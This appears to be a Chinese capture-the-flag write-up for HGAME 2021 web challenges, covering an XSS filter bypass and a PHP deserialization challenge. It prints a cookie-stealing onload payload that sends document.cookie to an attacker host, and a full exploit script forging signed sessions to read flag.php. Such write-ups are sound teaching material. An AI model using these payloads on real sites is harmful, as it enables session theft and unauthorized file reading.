def escape_index(original):
content = original
content_iframe = re.sub(r”^(<?/?iframe)\s+.?(src=[\”‘][a-zA-Z/]{1,8}[\”‘]).?(>?)$”, r”\1 \2 \3”, content)
if content_iframe != content or re.match(r”^(<?/?iframe)\s+(src=[\”‘][a-zA-Z/]{1,8}[\”‘])$”, content):
return content_iframe
else:
content = re.sub(r”</?(.?)>?”, r”\1”, content)
return content

1
2
3
4
5
6
7

`/send`中获得content数据后使用`escape_index()`对其进行处理
`re.sub(r"^(<?/?iframe)\s+.*?(src=[\"'][a-zA-Z/]{1,8}[\"']).*?(>?)$", r"\1 \2 \3", content)`
这条正则整了一下才知道是什么意思,第二个参数的`"\1 \2 \3"`分别对应的是`(<?/?iframe)` `(src=[\"'][a-zA-Z/]{1,8}[\"'])` `(>?)`,将其匹配到的内容取出并合并。本地尝试就算少了一个也没关系,但到服务器上就直接返回空
这个正则就限制了我们只能用`iframe`标签,同时`src`里的内容又不能超过八位,有点麻烦

再去看`/replace`

@app.route(‘/replace’, methods=[“POST”])
def replace():
if request.form.get(‘substr’) and request.form.get(‘replacement’):
session[‘substr’] = escape_replace(request.form[‘substr’])
session[‘replacement’] = escape_replace(request.form[‘replacement’])
return “replace success”
else:
return “There is no content to replace any more”

1
2


def escape_replace(original):
content = original
content = re.sub(“[<>]”, “”, content)
return content

1
2

替换的内容中是无法出现`<>`

@app.route(‘/preview’)
def preview():
if session.get(‘substr’) and session.get(‘replacement’):
substr = session[‘substr’]
replacement = session[‘replacement’]
else:
substr = “”
replacement = “”
response = make_response(
render_template(“preview.html”, substr=substr, replacement=replacement))
return response

1
2
3
4
5
6
7
8

同时只有在`/preview`页面才会进行替换

一开始以为bot只是把访问发过去的内容,于是想怎么绕过正则匹配,但感觉没什么办法。后来用week2的尝试了一下,才知道bot好像是来访问我们的页面,也就是只要我们替换好了自己的页面再让其访问即可

想了一下后想到的第一条路线是,创建一个iframe引入`/preview`,再整另一个iframe引入`/contents`,最后用HTML实体编码绕过`<>`的过滤在创建一个`<svg>`。不过由于MIME设置了`json`不行,于是另寻其路

最后发现不需要用到`/contents`,直接第二个ifame中写js就行

def escape_replace(original):
content = original
content = re.sub(r”[<>\”\]”, “”, content)
return content

1
2

`escape_replace()`增加了`" \`的过滤

@app.route(‘/search’, methods=[“POST”])
def replace():
if request.form.get(‘substr’):
session[‘substr’] = escape_replace(request.form[‘substr’])
return “replace success”
else:
return “There is no content to search any more”

1
2
3

raplace接口被改成了search接口
到`preview.html`中可以看到


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

使用了正则去匹配,在查询内容的两侧加上`b`标签

一开始想着这也没用能修改的东西啊?思考了一会后发现,这里的content是直接放入,而不是将匹配到的内容写入,就是说我们只要这样设置`substr[replace]?`,substr是要匹配到的内容,replace则是要增加的内容不就可以加入我们想要的内容了
比如这里post的是`x`,search的是`x[123]?`

![](http://shifeng-kaze.cn/blog/hgame2021_web_wp/bcddca57eedcbfe5ad28ae6714ae1205.png)

匹配到了`x`,同时也带上了`[123]?`

拿剩下的就简单了,由于会添加上`<b>`,`src`会解析错误。于是要闭合`src`再用`onload`去执行js,由于`"`被过滤于是用`'`
于是就是先创建`<iframe src='x'>`
然后查询
``x['onload='t=new XMLHttpRequest;t.open(`GET`, `http://ip/?a`+document.cookie,!0),t.send();'']?``
Search后的就替换成了(加上空格好理解一些)
``<iframe src='<b class="search_result">x[' onload='t=new XMLHttpRequest;t.open(`GET`, `http://ip/?a`+document.cookie,!0),t.send();' ']?</b>'>``
就会执行`onload`中的内容

最后依旧是拿弹回的token去访问`/flag`
![](http://shifeng-kaze.cn/blog/hgame2021_web_wp/b05e0dfe1d51cda5952c641b0febf81c.png)
![](http://shifeng-kaze.cn/blog/hgame2021_web_wp/0bab4942b85b3c094298e62733b79c25.png)

## Arknights
这题是一道简单的反序列化题目,题目里提示了有`git`,于是用`GitHack`抓一下源码

![](http://shifeng-kaze.cn/blog/hgame2021_web_wp/403db4c44afdf7a5afca7488862ffa7e.png)

获得源码后,`index.php`中可以看到

<?php
error_reporting(0);
require_once (“simulator.php”);
$simulator = new Simulator();
$cards = array();
if(isset($_POST[“draw”])){
$cards = $simulator->draw($_POST[“draw”]);
}
?>

1
2
3
4

使用了`Simulator`类,除此之外都是输出的东西,没什么可利用的

而`pool.php`只是一堆数据,那主要就是`simulator.php`了

class Simulator{

public $session;
public $cardsPool;

public function __construct(){

    $this->session = new Session();
    if(array_key_exists("session", $_COOKIE)){
        $this->session->extract($_COOKIE["session"]);
    }

    $this->cardsPool = new CardsPool("./pool.php");
    $this->cardsPool->init();
}

public function draw($count){
    $result = array();

    for($i=0; $i<$count; $i++){
        $card = $this->cardsPool->draw();

        if($card["stars"] == 6){
            $this->session->set('', $card["No"]);
        }

        $result[] = $card;
    }

    $this->session->save();

    return $result;
}

public function getLegendary(){
    $six = array();

    $data = $this->session->getAll();
    foreach ($data as $item) {
        $six[] = $this->cardsPool->cards[6][$item];
    }

    return $six;
}

}

1
2
3
4

可以看到`Simulator`类中构造函数获得`cookie`中的`session`键的值,并用`Session`类对其进行了`extract()`处理

于是到`Session`类中去看看

class Session{

private $sessionData;

const SECRET_KEY = "7tH1PKviC9ncELTA1fPysf6NYq7z7IA9";

public function __construct(){}

public function set($key, $value){
    if(empty($key)){
        $this->sessionData[] = $value;
    }else{
        $this->sessionData[$key] = $value;
    }
}

public function getAll(){
    return $this->sessionData;
}


public function save(){

    $serialized = serialize($this->sessionData);
    $sign = base64_encode(md5($serialized . self::SECRET_KEY));
    $value = base64_encode($serialized) . "." . $sign;

    setcookie("session",$value);
}


public function extract($session){

    $sess_array = explode(".", $session);
    $data = base64_decode($sess_array[0]);
    $sign = base64_decode($sess_array[1]);

    if($sign === md5($data . self::SECRET_KEY)){
        $this->sessionData = unserialize($data);
    }else{
        unset($this->sessionData);
        die("Go away! You hacker!");
    }
}

}

1
2
3
4

可以看到`session`是以`.`分为两部分,前面是数据后面是签名,验证成功则反序列化

接着看看哪里有可以利用的地方

class CardsPool
{

public $cards;
private $file;

public function __construct($filePath)
{
    if (file_exists($filePath)) {
        $this->file = $filePath;
    } else {
        die("Cards pool file doesn't exist!");
    }
}

public function draw()
{
    $rand = mt_rand(1, 100);
    $level = 0;

    if ($rand >= 1 && $rand <= 42) {
        $level = 3;
    } elseif ($rand >= 43 && $rand <= 90) {
        $level = 4;
    } elseif ($rand >= 91 && $rand <= 99) {
        $level = 5;
    } elseif ($rand == 100) {
        $level = 6;
    }

    $rand_key = array_rand($this->cards[$level]);

    return array(
        "stars" => $level,
        "No" => $rand_key,
        "card" => $this->cards[$level][$rand_key]
    );
}

public function init()
{
    $this->cards = include($this->file);
}

public function __toString(){
    return file_get_contents($this->file);
}

}

1
2

于是就找到了`CardsPool`这个类,可以看到这个类的`__toString()`是可以读取文件的。再去找找有什么地方有输出的,就找到了`Eeeeeeevallllllll`类

class Eeeeeeevallllllll{
public $msg=”坏坏liki到此一游”;

public function __destruct()
{
    echo $this->msg;
}

}

1
2
3
4

一看就是专门给我们留的后门,`echo`输出`msg`,那只要把这个变量设置成`CardsPool`类,再将`CardsPool`类中的`file`设置为`./flag.php`即可

exp

<?php
class CardsPool{
private $file = “./flag.php”;
}
class Eeeeeeevallllllll{
public $msg;
public function __construct(){
$this->msg= new CardsPool();
}
}

$class = new Eeeeeeevallllllll();
$data = serialize($class);
$sign = md5($data . “7tH1PKviC9ncELTA1fPysf6NYq7z7IA9”);

$sign = base64_encode($sign);
$data = base64_encode($data);

$session = $data.”.”.$sign;
echo urlencode($session);
`

将生成的session放入cookie中,然后刷新查看源码即可